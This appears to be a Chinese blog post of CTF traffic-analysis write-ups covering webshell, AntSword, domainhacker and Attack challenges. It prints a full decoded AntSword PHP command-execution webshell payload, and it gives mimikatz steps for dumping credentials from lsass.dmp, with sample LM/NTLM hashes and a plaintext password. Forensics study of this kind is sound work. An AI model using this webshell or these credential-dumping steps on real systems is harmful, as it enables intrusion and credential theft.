当前位置: 首页 > news >正文

流量分析2

一,webshell流量

[GKCTF 2021]签到

先看协议分级,大部分是tcp,里面有http的基于的行文本数据占了很大的比重,看看里面有什么

过滤http的流量

点击一条流量,里面的内容进去后面有基于行的文本数据,

先解hex,再解base64看,得到一个倒序的网页名。

 将http的数据导出来,按文件大小排序

有2kb大小的文件,打开后解密得到

有点像base64,但是不是,因为==要在最后,根据前面的信息,按行倒序

脚本如下

def reverse_line_content(input_text):
    # 按行分割文本
    lines = input_text.strip().split("\n")
    # 对每一行倒序
    reversed_lines = [line[::-1] for line in lines]
    # 组合回字符串
    reversed_text = "\n".join(reversed_lines)
    return reversed_text

# 示例内容
input_text = """wIDIgACIgACIgAyIK0wIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMiCNoQD
jMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjoQDjACIgACIgACIggDM6EDM6AjMgAzMtMDMtEjM
t0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0iCNMyIjMyIjMyIjMyI
6AjMgAzMtMDMtEjMwIjO0eZ62ep5K0wKrQWYwVGdv5EItAiM1Aydl5mK6M6jlfpqnrQDt0SLt0SL
t0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLK0AIdZavo75mlvlCNMTM6EDM
z0yMw0SMyAjM6Q7lpb7lmrQDrsCZhBXZ09mTg0CIyUDI3VmbqozoPW+lqeuCN0SLt0SLt0SLt0SL
sxWZld1V913e7d2ZhFGbsZmZg0lp9iunbW+Wg0lp9iunbW+Wg0lp9iunbW+WK0wMxoTMwoDMyACM
DN0QDN0QDlWazNXMx0Wbf9lRGRDNDN0ard0Rf9VZl1WbwADIdRampDKilvFIdRampDKilvVKpM2Y
==QIhM0QDN0Q"""

# 调用函数
output_text = reverse_line_content(input_text)
print(output_text)

结果是

DQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyAgICAgICAgIDIw
MjEtMDMtMzAgMjA6MDE6MDggICAgICAgICAjDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMNCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tDQrnqpflj6M6Km5ldyA1MiAtIE5vdGVwYWQrKw0K5pe26Ze0OjIwMjEtMDMtMzAgMjA6
MDE6MTMNClvlm57ovaZdIA0KLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0NCueql+WPozoqbmV3IDUyIC0gTm90ZXBhZCsrDQrml7bpl7Q6MjAyMS0wMy0z
MCAyMDowMToxMw0KW+Wbnui9pl0gW+Wbnui9pl0gW+Wbnui9pl0gZmZsbGFhZ2d7e319V1dlZWxs
Y2MpKVvliKDpmaRdIFvliKDpmaRdIDAwbW1lZV9fR0dra0NDNDRGRl9fbW0xMXNzaWlDQ0NDQ0ND
Q0NDQ0MhIQ==

解密得到,ffllaagg{{}}WWeellcc))00mmee__GGkkCC44FF__mm11ssiiCCCCCCCCCCCC!!

有点重复 ,栅栏密码解一下

[HUBUCTF 2022 新生赛]messy_traffic(蚁剑木马加密流量)

先看协议分级,tcp里面有个mysql protocal(mysql协议)和基于行文本的数据有很大的比重

追踪一下tcp的流量

在第9流有一个flag.zip ,把流量包拿去分解一下,得到一个压缩包,里面有flag.txt,但是需要密码

搜索pass ,有一条流里面有passwd.txt

去看tcp的流,里面有

解压得到flag

 [蓝帽杯 2022 初赛]domainhacker

题目描述

公司安全部门,在流量设备中发现了疑似黑客入侵的痕迹,用户似乎获取了机器的hash,你能通过分析流量,找到机器的hash吗?flag格式:NSSCTF{hash_of_machine}
该题目复现环境尚未取得主办方及出题人相关授权,如果侵权,请联系管理员删除。

这里说的机器码是PDC 机器账户的 NTLM Hash,即 PDC$ 计算机账户的 密码 Hash

还是先看协议分级,大多数是tcp

 追踪tcp流,将里面的文件信息拿去url解码

得到: 是蚁剑的流量

<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir = @ini_get("open_basedir");
if ($opdir) {
    $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
    $oparr = preg_split("/;|:/", $opdir);
    @array_push($oparr, $ocwd, sys_get_temp_dir());
    foreach ($oparr as $item) {
        if (!@is_writable($item)) {
            continue;
        }
        $tmdir = $item . "/.c46a89a";
        @mkdir($tmdir);
        if (!@file_exists($tmdir)) {
            continue;
        }
        @chdir($tmdir);
        @ini_set("open_basedir", "..");
        $cntarr = @preg_split("/\\\\|\\//", $tmdir);
        for ($i = 0; $i < sizeof($cntarr); $i++) {
            @chdir("..");
        }
        @ini_set("open_basedir", "/");
        @rmdir($tmdir);
        break;
    }
}

function asenc($out) {
    return $out;
}

function asoutput() {
    $output = ob_get_contents();
    ob_end_clean();
    echo "79c2" . "0b92";
    echo @asenc($output);
    echo "b4e7e" . "465b62";
}

ob_start();
try {
    $p = base64_decode(substr($_POST["yee092cda97a62"], 2));
    $s = base64_decode(substr($_POST["q8fb9d4c082c11"], 2));
    $envstr = @base64_decode(substr($_POST["p48a6d55fac1b1"], 2));
    $d = dirname($_SERVER["SCRIPT_FILENAME"]);
    $c = substr($d, 0, 1) == "/" ? "-c \"{s}\"" : "/c \"{s}\"";
    if (substr($d, 0, 1) == "/") {
        @putenv("PATH=" . getenv("PATH") . ":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
    } else {
        @putenv("PATH=" . getenv("PATH") . ";C:\\Windows\\system32;C:\\Windows\\SysWOW64;C:\\Windows;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\");
    }
    if (!empty($envstr)) {
        $envarr = explode("||asline|||", $envstr);
        foreach ($envarr as $v) {
            if (!empty($v)) {
                @putenv(str_replace("||askey||||", "=", $v));
            }
        }
    }
    $r = "{p} {c}";
    function fe($f) {
        $d = explode(",", @ini_get("disable_functions"));
        if (empty($d)) {
            $d = array();
        } else {
            $d = array_map('trim', array_map('strtolower', $d));
        }
        return (function_exists($f) && is_callable($f) && !in_array($f, $d));
    }

    function runshellshock($d, $c) {
        if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
            if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
                $tmp = tempnam(sys_get_temp_dir(), 'as');
                putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
                if (fe('error_log')) {
                    error_log("a", 1);
                } else {
                    mail("a@127.0.0.1", "", "", "-bv");
                }
            } else {
                return False;
            }
            $output = @file_get_contents($tmp);
            @unlink($tmp);
            if ($output != "") {
                print($output);
                return True;
            }
        }
        return False;
    }

    function runcmd($c) {
        $ret = 0;
        $d = dirname($_SERVER["SCRIPT_FILENAME"]);
        if (fe('system')) {
            @system($c, $ret);
        } elseif (fe('passthru')) {
            @passthru($c, $ret);
        } elseif (fe('shell_exec')) {
            print(@shell_exec($c));
        } elseif (fe('exec')) {
            @exec($c, $o, $ret);
            print(join("\n", $o));
        } elseif (fe('popen')) {
            $fp = @popen($c, 'r');
            while (!@feof($fp)) {
                print(@fgets($fp, 2048));
            }
            @pclose($fp);
        } elseif (fe('proc_open')) {
            $p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
            while (!@feof($io[1])) {
                print(@fgets($io[1], 2048));
            }
            while (!@feof($io[2])) {
                print(@fgets($io[2], 2048));
            }
            @fclose($io[1]);
            @fclose($io[2]);
            @proc_close($p);
        } elseif (fe('antsystem')) {
            @antsystem($c);
        } elseif (runshellshock($d, $c)) {
            return $ret;
        } elseif (substr($d, 0, 1) != "/" && @class_exists("COM")) {
            $w = new COM('WScript.shell');
            $e = $w->exec($c);
            $so = $e->StdOut();
            $ret .= $so->ReadAll();
            $se = $e->StdErr();
            $ret .= $se->ReadAll();
            print($ret);
        } else {
            $ret = 127;
        }
        return $ret;
    }

    $ret = @runcmd($r . " 2>&1");
    print($ret != 0 ? "ret={$ret}" : "");
} catch (Exception $e) {
    echo "ERROR://" . $e->getMessage();
}
asoutput();
die();
?>

里面有post请求,可以看到请求的参数,

其中,$s = base64_decode(substr($_POST["q8fb9d4c082c11"], 2));是和读取有关的指令

导出http的流量,里面有一个1.rar

通过找出各运行脚本,对最后那段命令的解密 ,看到了hacker使用rar对文件进行加密,同时,上面也有密码。

解压

[蓝帽杯 2022 初赛]domainhacker2 

[HNCTF 2022 WEEK2]ez_flow

先看协议分级

直接搜,直接秒

[安洵杯 2019]Attack 

题目没有提示,题目说攻击,就是找攻击的流量,打开流量,开头就是目录扫描

判断依据:

短时间内大量 HTTP HEAD 请求:HEAD 请求不会返回完整的页面内容,只返回响应头,目的是快速确认文件或目录是否存在。

多个 TCP 连接到 80 端口:攻击者使用了多个新连接,每次请求都建立新的 TCP 连接,符合自动化扫描工具的行为。

下载以后发现可以分离得到一个压缩包,需要密码,上面说这是administrator的秘密,也就是系统管理员的密码

搜索和系统管理员有关的sam,看tcp的833流,这里访问的lsass.dmp文件就是

lsass.dmpWindows 本地安全授权子系统服务(LSASS,Local Security Authority Subsystem Service)转储(Dump)文件,其中包含Windows 进程 lsass.exe 的内存数据,包括用户凭据(明文密码、NTLM 哈希、Kerberos 票据等)。 

这里需要先将lsass.dmp文件导出来,去导出http信息处过滤.dmp,得到这个文件

按照命令提取 ,得到系统管理员的密码是W3lc0meToD0g3

执行的命令及解释:

privilege::debug                           请求调试特权

token::elevate                              提升权限(这条命令会让我们冒充系统最高权限用户SYSTEM)

sekurlsa::minidump lsass.dmp    加载内存转储文件以获取目标用户的密码凭证

sekurlsa::logonpasswords  full   查看所有可用的凭证

mimikatz # sekurlsa::logonPasswords
Opening : 'lsass.dmp' file for minidump...

Authentication Id : 0 ; 347784 (00000000:00054e88)
Session           : Interactive from 1
User Name         : Administrator
Domain            : WIN7
Logon Server      : WIN7
Logon Time        : 2019/11/14 9:38:33
SID               : S-1-5-21-1539156736-1959120456-2224594862-500
        msv :
         [00000003] Primary
         * Username : Administrator
         * Domain   : WIN7
         * LM       : c4d0515fb12046a475113b7737dc0019
         * NTLM     : aafdad330f5a9f4fbf562ed3d25f97de
         * SHA1     : 8b9a7ca86970d1392b6fa0b94b8694c2b919469f
        tspkg :
         * Username : Administrator
         * Domain   : WIN7
         * Password : W3lc0meToD0g3
        wdigest :
         * Username : Administrator
         * Domain   : WIN7
         * Password : W3lc0meToD0g3
        kerberos :
         * Username : Administrator
         * Domain   : WIN7
         * Password : W3lc0meToD0g3
        ssp :
        credman :

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 2019/11/14 9:35:06
SID               : S-1-5-19
        msv :
        tspkg :
        wdigest :
         * Username : (null)
         * Domain   : (null)
         * Password : (null)
        kerberos :
         * Username : (null)
         * Domain   : (null)
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : WIN7$
Domain            : WORKGROUP
Logon Server      : (null)
Logon Time        : 2019/11/14 9:35:06
SID               : S-1-5-20
        msv :
        tspkg :
        wdigest :
         * Username : WIN7$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
         * Username : win7$
         * Domain   : WORKGROUP
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 48847 (00000000:0000becf)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 2019/11/14 9:35:04
SID               :
        msv :
        tspkg :
        wdigest :
        kerberos :
        ssp :
        credman :

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : WIN7$
Domain            : WORKGROUP
Logon Server      : (null)
Logon Time        : 2019/11/14 9:35:04
SID               : S-1-5-18
        msv :
        tspkg :
        wdigest :
         * Username : WIN7$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
         * Username : win7$
         * Domain   : WORKGROUP
         * Password : (null)
        ssp :
        credman :

拿密码去解压压缩包,在flag.txt的末尾可以找到flag

相关文章:

  • VectorBT:使用PyTorch+LSTM训练和回测股票模型 进阶二
  • 核心知识——论文详解
  • 力扣DAY27 | 热100 | 合并两个有序链表
  • 万字C++STL——vector模拟实现
  • LeetCode 524 通过删除字母匹配到字典里最长单词
  • 虚幻引擎设置复杂碰撞体
  • docker使用uv安装依赖
  • 探索Halo:不止是博客,更是创作新宇宙
  • VUE3项目VITE打包优化
  • [BalticOI 2009] Radio Transmission 无线传输
  • 项目日记 -云备份 -服务端数据管理模块
  • Qt Concurrent 并发 Map 和 Map-Reduce
  • Chat2DB:一款强大的数据库管理工具,AI助力高效查询与分析
  • 如何使用Python爬虫按关键字搜索1688商品?
  • SQL HAVING 1 的用法解析
  • 鸿蒙开发:父组件如何调用子组件中的方法?
  • python tkinter 开发蓍草占卜系统
  • Vue3企业级项目标准化规范
  • 蓝桥杯二分法例题--跳石头
  • Windows 下使用 Docker 部署 Go 应用与 Nginx 详细教程
  • 回望星河深处,唤醒文物记忆——读《发现武王墩》
  • 微软将裁员3%,减少管理层
  • “异常”只停留在医院里,用艺术为“泡泡宝贝”加油
  • 乌方:泽连斯基只接受与普京会谈,拒见其他俄代表
  • 60余年产业积累,“江苏绿心”金湖炼就“超级石油工具箱”
  • 媒体和打拐志愿者暗访长沙一地下代孕实验室,警方已控制涉案人员